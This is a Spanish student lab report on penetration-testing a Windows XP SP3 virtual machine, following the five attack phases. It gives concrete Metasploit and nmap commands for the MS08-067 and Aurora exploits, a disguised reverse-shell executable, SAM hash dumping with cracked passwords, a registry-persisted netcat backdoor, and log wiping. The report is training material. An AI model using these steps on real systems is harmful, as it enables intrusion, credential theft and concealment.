Sei sulla pagina 1di 27

Lpez Pineda Greys Paola Martnez Meza Howard Andrs Ojeda de la Hoz Jos Carlo

PenTesting
Windows XP SP3
A travs de este informe de pentesting detallaremos cada una de las fases de la metodologa de ethical hacking llevadas a cabo por el grupo para lograr la penetracin de una mquina Windows XP SP3

Contenido
Marco Terico ............................................................................................................................... 2 Fase 1 Reconocimiento (Reconnaissance) ............................................................................. 2 Fase 2 Escaneo (Scanning)...................................................................................................... 2 Fase 3 Ganar Acceso (Gaining Access) ................................................................................... 3 Fase 4 Mantener el Acceso (Maintaining Access) .................................................................. 3 Fase 5 Cubrir las huellas (Covering Tracks) ............................................................................ 3 PenTesting Windows XP SP3 ......................................................................................................... 5 1. 2. Fase de Reconocimiento ................................................................................................... 6 Fase de escaneo .............................................................................................................. 10 2.1 2.2 3. Escaneo de Puertos .................................................................................................. 10 Escaneo de Vulnerabilidades................................................................................... 11

Fase de Ganando Acceso/Explotacin ............................................................................ 16 3.1 3.2 3.3 Penetracin # 1 ....................................................................................................... 17 Penetracin # 2 ....................................................................................................... 19 Penetracin # 3 ....................................................................................................... 22

4. 5.

Fase Mantener Acceso .................................................................................................... 25 Fase Cubrir Huellas .......................................................................................................... 26

Marco Terico
De ante mano la palabra de PenTesting que en sentido completo seria Penetration Test, hace referencia al mtodo de evaluacin de la seguridad de un sistema computacional o red a travs de ataques de fuente maliciosa. Cada ataque sigue una metodologa establecida la cual se divide en fases, las cuales son1:

Fase 1 Reconocimiento (Reconnaissance) El reconocimiento se refiere a la fase preparatoria donde el atacante obtiene toda la informacin necesaria de su objetivo o vctima antes de lanzar el ataque. Esta fase tambin puede incluir el escaneo de la red que el Hacker quiere atacar no importa si el ataque va a ser interno o externo. Esta fase le permite al atacante crear una estrategia para su ataque. Esta fase puede incluir la Ingeniera Social, buscar en la basura (Dumpster diving), buscar que tipo de sistema operativo y aplicaciones usa el objetivo o vctima, cuales son los puertos que estn abiertos, donde estn localizados los routers (enrutadores), cuales son los host (terminales, computadoras) ms accesibles, buscar en las bases de datos del Internet (Whois) informacin como direcciones de Internet (IP), nombres de dominios, informacin de contacto, servidores de email y toda la informacin que se pueda extraer de los DNS (Domain Name Server). Esta fase le puede tomar bastante tiempo al Hacker ya que tiene que analizar toda la informacin que ha obtenido para lanzar el ataque con mayor precisin.

Fase 2 Escaneo (Scanning) Esta es la fase que el atacante realiza antes de la lanzar un ataque a la red (network). En el escaneo el atacante utiliza toda la informacin que obtuvo en la Fase del Reconocimiento (Fase 1) para identificar vulnerabilidades especficas. Por ejemplo, si en la Fase 1 el atacante descubri que su objetivo o su vctima usa el sistema operativo Windows XP entonces el buscara vulnerabilidades especficas que tenga ese sistema operativo para saber por dnde atacarlo. Tambin hace un escaneo de puertos para ver cules son los puertos abiertos para saber por cual puerto va entrar y usa herramientas automatizadas para escanear la red y los host en busca de ms vulnerabilidades que le permitan el acceso al sistema.
WISE DATE SECURITY - Las 5 fases de ataque de un Hacker: Anatoma de un ataque. Disponible Online: [http://www.wisedatasecurity.com/5-fases-ataque-hacker.html] Consultado: 28/08/11.
1

Fase 3 Ganar Acceso (Gaining Access) Esta es una de las fases ms importantes para el Hacker porque es la fase de penetracin al sistema, en esta fase el Hacker explota las vulnerabilidades que encontr en la fase 2. La explotacin puede ocurrir localmente, offline (sin estar conectado), sobre el LAN (Local Area Network), o sobre el Internet y puede incluir tcnicas como buffer overflows (desbordamiento del buffer), denial-of-service (negacin de servicios), sesin hijacking (secuestro de sesin), y password cracking (romper o adivinar claves usando varios mtodos como: diccionary atack y brute forc atack). Los factores que ayudan al Hacker en esta fase a tener una penetracin exitosa al sistema dependen de cmo es la arquitectura del sistema y de cmo est configurado el sistema objetivo o vctima, una configuracin de seguridad simple significa un acceso ms fcil al sistema, otro factor a tener en cuenta es el nivel de destrezas, habilidades y conocimientos sobre seguridad informtica y redes que tenga el Hacker y el nivel de acceso que obtuvo al principio de la penetracin (Fase 3).

Fase 4 Mantener el Acceso (Maintaining Access) Una vez el Hacker gana acceso al sistema objetivo (Fase3) su prioridad es mantener el acceso que gano en el sistema. En esta fase el Hacker usa sus recursos y recursos del sistema y usa el sistema objetivo como plataforma de lanzamiento de ataques para escanear y explotar a otros sistemas que quiere atacar, tambin usa programas llamados sniffers para capturar todo el trfico de la red, incluyendo sesiones de telnet y FTP (File Transfer Protocol). En esta fase el Hacker puede tener la habilidad de subir, bajar y alterar programas y data. En esta fase el hacker quiere permanecer indetectable y para eso remueve evidencia de su penetracin al sistema y hace uso de Backdoor (puertas traseras) y Troyanos para ganar acceso en otra ocasin y tratar de tener acceso a cuentas de altos privilegios como cuentas de Administrador. Tambin usan los caballos de Troya (Trojans) para transferir nombres de usuarios, passwords e incluso informacin de tarjetas de crdito almacenada en el sistema.

Fase 5 Cubrir las huellas (Covering Tracks) En esta fase es donde el Hacker trata de destruir toda la evidencia de sus actividades ilcitas y lo hace por varias razones entre ellas seguir manteniendo el acceso al sistema comprometido ya que si borra sus huellas los administradores de redes no tendrn pistas claras del atacante y el Hacker podr seguir penetrando el sistema cuando quiera, adems borrando sus huellas evita ser detectado y ser atrapado por la polica o los Federales.

Las herramientas y tcnicas que usa para esto son caballos de Troya, Steganography, Tunneling, Rootkits y la alteracin de los log files (Archivos donde se almacenan todos los eventos ocurridos en un sistema informtico y permite obtener informacin detallada sobre los hbitos de los usuarios), una vez que el Hacker logra plantar caballos de Troya en el sistema este asume que tiene control total del sistema.

PenTesting Windows XP SP3

Para este laboratorio de PenTesting utilizaremos el entorno VMware Workstation en el que portaremos las mquinas, tanto la mquina atacante (Back Track) como la mquina vctima, en este caso nuestro objetivo de prueba es una mquina Windows XP Profesional SP3, la cual es una mquina de tipo cliente.

Fig 1. Mquina Atacante

Fig 2. Mquina Victima

1. Fase de Reconocimiento

Recogeremos toda la informacin de nuestra vctima que nos pueda ayudar a travs del resto de las fases sucesivas como son las direcciones IP, usuarios que posee la mquina, certeza del tipo de sistema operativo que tiene. Estando en nuestro entorno de trabajo hacemos primeramente un reconocimiento propio para conocer nuestra direccin IP y la red en la que nos encontramos, digitamos entonces ifconfig, luego realizamos escaneo de la red para llegar a determinar cul es la direccin IP de la vctima. Para ello hacemos uso del nmap y digitamos nmap -sP 192.168.1.*

Fig 3. Identificacin de nuestra direccin IP

Fig 4. Escaneo de Red para identificar Hosts activos

Como vemos, hay 3 host activos en la red que tienen direccin IP: 192.168.1.1, 192.168.1.8 y 192.168.1.10 como de antemano sabemos que es una mquina Windows procedemos a buscar una marca que nos lo identifique, para ello hacemos ping a las maquinas para buscar una marca en la ttl que nos indique que sea una mquina Windows, sabemos que la ttl para maquinas Windows es ttl=128. Descartamos la direccin IP 192.168.1.10 la cual sabemos que es de nuestra mquina de Back Track.

Fig 5. Haciendo Ping a los hosts de la red para identificar las ttl

Como vemos la mquina que identifica a un equipo Windows dentro de nuestra red configurada es la que tiene direccin IP 192.168.1.8 Ahora proseguiremos a hacer pruebas para determinar con ms detalle el tipo de sistema operativo que corre sobre la vctima. Utilizaremos comandos diferentes para determinarlo y comparar respuestas.

Usando: nmap -sV -O 192.168.1.8

Fig 6. Identificando SO de la vctima mediante nmap -sV -O 192.168.1.8

Usando: namp -sV -O2 192.168.1.8

Fig 7. Identificando SO de la vctima mediante nmap -sV -O2 192.168.1.8

Como vemos las respuestas arrojadas nos dan la certeza de que se trata una maquina Windows y las versiones que tienen ms probabilidad de ocurrencia en el resultado atinan a un Windows XP con SP3. Lo siguiente que haremos para seguir en nuestra bsqueda de informacin es averiguar los usuarios que tiene la maquina, para ello hacemos uso del Nmap Scripting Engine (NSE) esta es una potente funcionalidad del Nmap que permite la ejecucin de scripts, que adems permite que los usuarios puedan escribir y compartir scripts para realizar multitud de tareas. Las tareas que se pueden realizar con el NSE se agrupan en: descubrimiento de red, deteccin de versiones de servicios mejorada, deteccin de vulnerabilidades, deteccin de gusanos y backdoors, explotacin de vulnerabilidades. Para nuestro cometido de sacar los usuarios de nuestra maquina victima primero debemos estar en la ruta donde se almacenan los scripts, en la versin de Backtrack 5 esa ruta se logra digitando cd ../usr/local/share/nmap/scripts

Fig 8. En la ruta de los scripts del NSE

Estando all en la ruta podemos hacer uso del script con el que conoceremos los usuarios de la maquina vctima, digitamos entonces: nmap sV --script smb-enumusers 192.168.1.8 p 445

Fig 9. Examinacin de Usuarios en la mquina victima

Como podemos notar hay cuatro usuarios en la maquina vctima: Administrator, Guest, HelpAssistant, Student y SUPPORT_388945a0 dos de los cuales tienen RID de 5XX lo que indica que estos poseen privilegios administrativos. En este punto podemos decir que tenemos informacin til referente a nuestra vctima, nos preparamos para ir avanzando a la siguiente fase.

2. Fase de escaneo Esta fase incluye unas subdivisiones que corresponden a escaneo de puertos y servicios, y escaneo de vulnerabilidades. 2.1 Escaneo de Puertos Para esta tarea podemos valernos de la herramienta nmap para hacer diversos tipos de escaneo, o si bien deseamos podemos utilizar la herramienta de tipo grafico llamada Zenmap, que utiliza como base nmap. Haremos un escaneo de tipo agresivo para determinar que puertos estn abiertos, que servicios estn corriendo sobre esos puertos y que versiones de esos servicios se presentan.

Fig 10. Escaneo de Puertos y Servicios

Como podemos observar tenemos dos puertos activos en la mquina, el 139 y el 445, sobre el primero est corriendo el servicio de netbios-ssny sobre el 445 el servicio Microsoft-ds, si algo podemos notar es que sobre ambos puertos acta el protocolo SMB que en sentido completo es Server Messages Block de lo cual nos podemos valer para identificar en el paso siguiente posibles vulnerabilidades. 2.2 Escaneo de Vulnerabilidades Para esta labor realizamos tres procesos. Los dos primeros fueron automatizados y equivalentes; el primer escaneo fue a travs de nmap y apoyndonos con el autopwn, el segundo escaneo que fue equivalente al primero fue a travs de OpenVAS e igualmente apoyndonos con autopwn y el ltimo proceso lo realizamos a travs de del Nmap Scripting Engine. Para el escaneo automatizado a travs de Nmap necesitamos inicialmente crear una base de datos, en nuestro caso utilizamos una base de datos con el nombre de metasploit en el motor de PostgreSQL, luego necesitamos conectarnos a esa base de datos, posteriormente necesitamos guardar el escaneo realizado con el nmap, en ultimas, aplicamos el autopwn sobre los datos guardados y este segn los parmetros ingresados nos mostrara los exploits que vulneran esos puertos abiertos en la victima y probara cada uno mediante una conexin en reversa para otorgarnos al finalizar el

proceso, en caso satisfactorio, cierto nmero de sesiones de meterpreter. Esto lo presentamos a continuacin:

Fig 11. Escaneo de Vulnerabilidades con Nmap y autopwn

Como pudimos observar, este proceso automatizado nos ha arrojado como resultado concreto, una vulnerabilidad luego de haber intentado con 101 mdulos posibles, la vulnerabilidad encontrada es bien conocida gracias a los boletines de Microsoft, se trata de la ms08_067_netapi, la cual se vale de una falla de anlisis en el cdigo del camino de netapi32.dll a travs del servicio de servidor para luego darnos acceso. Tenemos dos sesiones activas, podramos interactuar con ellas y acceder de manera inmediata a la mquina, pero ese paso quedara presentado en la prxima fase de ganando acceso, o tambin conocida como explotacin. El segundo proceso automatizado es muy similar al que acabamos de describir, las variantes han sido que: en vez de utilizar un escaneo desde el nmap, lo hemos hecho a travs de OpenVAS, el cual nos ha arrojado un reporte completo, este reporte ser el que guardaremos en una base de datos de nombre winxp para luego aplicar de igual manera el autopwn como veremos a continuacin:

Fig 12. Conectando a la base de datos winxp e importando el archivo OpenVAS.nbe

Fig 13. Escaneo de vulnerabilidades con OpenVAS y autopwn

Como pudimos observar el resultado presentado esta vez nos arroj 3 sesiones con las que podemos interactuar directamente, y se refleja claramente el nmero de mdulos que nos trajo como posibles vulnerabilidades, esto se debe a que el escaneo realizado por el OpenVAS va ms all de hallar vulnerabilidades por la simple igualacin de puertos sino que tambin consulta informacin externa. El tercer proceso que realizamos para tambin identificar vulnerabilidades de la vctima valindonos de las herramientas de nuestra maquina atacante fue la utilizacin de un script de la librera de scripts del NSE, en este caso utilizamos el smb-checkvulns, como vemos a continuacin:

Fig 14. Escaneo de vulnerabilidades a travs de NSE

Aqu tambin nos arroj ciertas vulnerabilidades del sistema pero fijmonos que algunas estn deshabilitadas y que se sigue resaltando la vulnerabilidad de MS08_067. En este punto podemos decir que los tres procesos nos dan como balance la penetracin del sistema pero solo gracias a la vulnerabilidad MS08_067, esto basado primordialmente en igualacin de los puertos abiertos y en los mdulos que estn en la base de datos del metasploit. Para seguir con nuestra labor y pasar a la siguiente fase, optaremos por tomar la consideracin que nuestra maquina vctima es una maquina Cliente y que luego de una obtencin de claves y revisin de los aplicativos de la maquina podemos lanzar ataques Client-Side.

3. Fase de Ganando Acceso/Explotacin Luego de tener identificada ciertas vulnerabilidades de la maquina victima procedemos a ganar acceso a ella a travs de lanzamiento de exploits que exploten dichas vulnerabilidades.

3.1 Penetracin # 1

Para esta penetracin nos valdremos de la vulnerabilidad identificada en todos los escaneos de vulnerabilidades que realizamos, se trata de la ms08_067_netapi que como habamos dicho se vale de una falla de anlisis en el cdigo del camino de netapi32.dll a travs del servicio de servidor para luego darnos acceso. Para ello proseguimos como sigue:

Fig 15. Configuracin del exploit ms08_067_netapi

Como vemos tenemos que cargar el exploit mediante el comando use Windows/smb/ms08_067_netapi luego configuramos el payload asociado que le vamos a cargar, en nuestro caso probamos con un payload de meterpreter y de modo reverse para curarnos en salud y que la penetracin sea exitosa aun cuando en la maquina victima haya un firewall. Posteriormente configuramos las direcciones del host local y la del host remoto, en final de cuentas mostramos las opciones en pantalla para ver cmo va la configuracin, cuando todo est listo podemos proseguir a lanzar el exploit digitando exploit.

Fig 16. Logrando el acceso a la maquina a travs del exploit ms08_067_netapi

Ya estando dentro de la maquina lo que podemos hacer depende de nuestra imaginacin. Examinando algunas que otras cosas podemos identificar el id del usuario con que estamos en la mquina, podemos mirar en que directorio estamos y algo que resulta interesante, hacer un dump del archivo SAM, este archivo guarda los hashes de los usuarios de la mquina. Luego de tener estos hashes los llevamos a una aplicacin que nos ayude a desencriptarlas, a Ophcrack por ejemplo, con esto lograremos tener en nuestro poder las claves reales de estos usuarios. Ophcrack trabaja sobre tablas rainbow en algunos casos necesitaremos obtener estas tablas para obtener resultados satisfactorios en el desencriptamiento.

Fig 17. Utilizacin de Ophcrack para desencriptamiento de los hashes

Luego de someter los hashes a este proceso y utilizando una tabla rainbow xp_small_free logramos obtener las claves de los usuarios: Administrator y Student, las cuales son en su orden P455w0rd y L34rn1ng. 3.2 Penetracin # 2 Con esta penetracin al igual que la anterior, ganaremos control sobre la mquina, pero esta vez nos vamos a valer del precepto de que nuestra vctima es una maquina cliente, por ende podemos vulnerar aquellas aplicaciones que el cliente de la maquina utiliza. Buscando referencias de las aplicaciones de las maquinas nos topamos que tena instalado un Explorador: Internet Explorer versin 6, esta versin del internet Explorer es vulnerable al exploit conocido como Aurora, por ello, en esta penetracin nos basaremos en un ataque Client-Side para llevar a final termino nuestro cometido. Primeramente cargamos el exploit digitando use exploit/Windows/browser/ms10_002_aurora Luego le cargamos el payload respectivo, en nuestro caso le cargaremos un windows/meterpreter/reverse_tcp, seguido a esto configuramos la direccin del local host con 192.168.1.3 y el Uripath lo configuramos como /. As como se muestra:

Fig 18. Configurando el exploit ms10_002_aurora

Luego que tenemos todo configurado, procedemos a explotar, el resultado arrojado es referente a que un servidor se ha iniciado en nuestra direccin local, esa direccin IP debemos lograr que sea accedida por un usuario en la maquina vctima, una vez logrado esto, el cdigo malicioso nos otorgara una sesin, con lo cual lograremos nuestro cometido.

Fig 19. Ganando Acceso a travs de la vulnerabilidad Aurora mediante un ataque Client-Side

Como vemos, hemos logrado penetrar en la mquina de una segunda manera.

3.3 Penetracin # 3 En esta tercera penetracin tambin nos valemos de tcnicas de explotacin ClientSide, sabemos que nuestra vctima es una maquina Windows y que es vulnerable con los ejecutables, los famosos .exe podemos hacer un .exe caracterizado el cual este configurado con los parmetros que le indiquemos para realizar una accin programada por nosotros para ganar acceso en la mquina, luego de tener el .exe como tal, lo podemos maquillar, poner iconos, ponerle un nombre atractivo pero en esencia cumplir la misma labor. En definitiva, crearemos un .exe el cual le haremos llegar a la maquina victima a travs de un correo, una memoria usb, de la manera que queramos, cuando el usuario que acta sobre la maquina victima lo abra el cdigo malicioso se ejecutara para darle paso a las acciones que programamos y otorgarnos una sesin en la mquina. Todo el proceso se ilustra a continuacin: Primero digitamos msfpayload Windows/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444 X > /root/Desktop/Interesante.exe con esto logramos crear un ejecutable en el escritorio que tiene por nombre Interesante.exe y el cual va a poseer un payload de conexin reverse a travs de meterpreter al socket 192.168.1.3:4444.

Fig 20. Creando .exe configurado

Luego de crear el .exe vamos ahora a hacer uso del exploit handler que va a estar configurado de la misma manera, con el mismo payload pero este estar a la espera de esa comunicacin. Para lograr hacer uso del handler, digitamos msfcli exploit/multi/handler payload=Windows/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444 E

Fig 21. Haciendo uso del exploit handler a la espera

Aqu podemos notar ya que el exploit handler est a la espera, ahora el paso siguientes es enviarle, regalarle, darle, etc, el archivo Interesante.exe a un usuario de nuestra maquina vctima.

Fig 22. Pasndole el .exe configurado a la victima

Despus de que le hemos pasado el .exe y este lo ejecuta podemos ver que es lo que pasa en nuestra maquina atacante.

Fig 23. Logrando el cometido

Una vez ms hemos logrado nuestro cometido y nos hemos hecho con una sesin dentro de la vctima.

4. Fase Mantener Acceso As como cada fase depende de la anterior, esta est ntimamente ligada a la de la explotacin, el fin como tal de mantener acceso es en concepto de que no tengamos que volver a realizar todo el proceso de explotacin sino que por ejemplo creemos una puerta trasera, que sin un esfuerzo adicional podamos tener acceso a la vctima luego de haberla penetrado. Para esta fase crearemos un Back Door valindonos de alguna de las penetraciones anteriores, el proceso de creacin de un Back Door puede tambin realizarse de diversas maneras, en esta instancia crearemos un Back Door estable y lo realizaremos a travs de una sesin de meterpreter ya obtenida. Para ello seguimos los pasos siguientes: Subimos a nuestra maquina victima el Netcat para instalarlo y ejecutarlo en la maquina como un servidor a la escucha en un puerto especifico, en nuestro caso le colocaremos en el 445 y ejecutndose como demonio, es decir de manera oculta. Luego de ejecutarlo, agregamos el programa al registro de Windows para que cada vez que se inicie la maquina nuestro proceso inicie con ella. Todo lo vemos a continuacin:

Fig 24. Subiendo NetCat a la maquina vctima, ejecutndolo y agregndolo al registro de Windows

Ahora solo basta con salir de la sesin de meterpreter, cargar el exploit de exploit/multi/handler, configurarlo con un payload window/shell_bind_tcp y luego

configurar el puerto local por el que hemos configurado anteriormente, en este caso ser el puerto 445.

Fig 25. Conectndose a la maquina victima a travs del Back Door

Con esto tenemos listo nuestra puerta trasera para mantener el acceso a la vctima. 5. Fase Cubrir Huellas En esta fase lo que hacemos es borrar el rastro que hemos dejado luego de la penetracin a la mquina, si estamos en una sesin de meterpreter resulta sencillo, con un simple comando podemos borrar el compilado de logs, como se muestra:

Fig 26. Borrando Huellas de la maquina victima

Potrebbero piacerti anche